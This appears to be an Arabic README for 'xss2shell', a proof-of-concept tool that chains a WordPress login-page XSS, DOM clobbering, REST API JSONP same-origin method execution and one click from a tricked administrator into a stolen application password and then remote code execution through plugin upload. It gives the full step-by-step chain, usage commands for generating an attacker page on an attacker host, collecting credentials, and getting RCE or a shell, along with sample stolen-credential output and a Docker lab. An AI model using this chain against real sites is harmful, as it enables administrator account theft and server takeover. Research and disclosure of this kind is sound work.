الخطوة 1: XSS بفارق التحليل
  └─ sanitize_user() يسمح بـ "< area>" و"< div>" و"< button>" (مسافة بعد "<")
     المتصفح يحلل هذه العناصر كعناصر HTML حقيقية في رسالة خطأ تسجيل الدخول

الخطوة 2: DOM Clobbering
  └─ <area id=ajaxurl>   ← يظلل window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> ← يلبي محددات jQuery
     <button class="wp-generate-pw color-option"> ← معالج نقر مفوَّض

الخطوة 3: التشغيل التلقائي عبر user-profile.js
  └─ يُحمَّل على wp-login.php (السطر 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') يُطلَق
     $.post(ajaxurl, ...) → عنوان URL الهدف = area.href (يتحكم به المهاجم)

الخطوة 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → تنفيذ أسلوب من نفس الأصل (Same Origin Method Execution)
     _envelope=1 → تجاوز خطأ المصادقة، وتغليف الاستجابة برمز 200
     wp_check_jsonp_callback: التعبير النمطي /[^\w\.]/ يسمح بالتنقل بالنقاط

الخطوة 5: هندسة اجتماعية (نقرة واحدة)
  └─ المسؤول يرى صفحة /wp-admin/authorize-application.php الحقيقية
     ينقر على "Approve" ← يتم إنشاء كلمة مرور تطبيق

الخطوة 6: سرقة بيانات الاعتماد
  └─ تظهر كلمة المرور في سلسلة استعلام إعادة التوجيه ← تُقرأ بواسطة النافذة الفرعية (نفس الأصل)

الخطوة 7: رفع إضافة → RCE
  └─ رفع ملف ZIP للإضافة ← يتم استخراجه إلى /wp-content/plugins/{slug}/
     ملفات PHP قابلة للتنفيذ مباشرة بدون تفعيل

pip install requests

python3 xss2shell_poc.py --target https://wp-target.com --check

# مع وكيل Burp Suite
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

cd lab
docker-compose up -d
# ووردبريس 6.0.3 على http://localhost:8080
# المسؤول: admin / password123

python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

xss2shell/
├── README.md                      # التوثيق (هذا الملف)
├── xss2shell_poc.py               # سكربت إثبات المفهوم الرئيسي
├── xss2shell_attacker.html        # صفحة المهاجم المُنشأة
├── collect.php                    # نقطة نهاية جمع بيانات الاعتماد
└── lab/
    ├── docker-compose.yml         # بيئة Docker المخبرية (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # تحقق خطوة بخطوة
    ├── test_sanitize.php          # اختبارات sanitize_user()
    ├── test_full_payload.php      # اختبار سلسلة الحمولة الكاملة
    ├── test_browser.html          # اختبار DOM clobbering في المتصفح
    ├── test_end_to_end.php        # اختبار PHP من النهاية إلى النهاية
    └── verify_xss.sh              # اختبارات curl آلية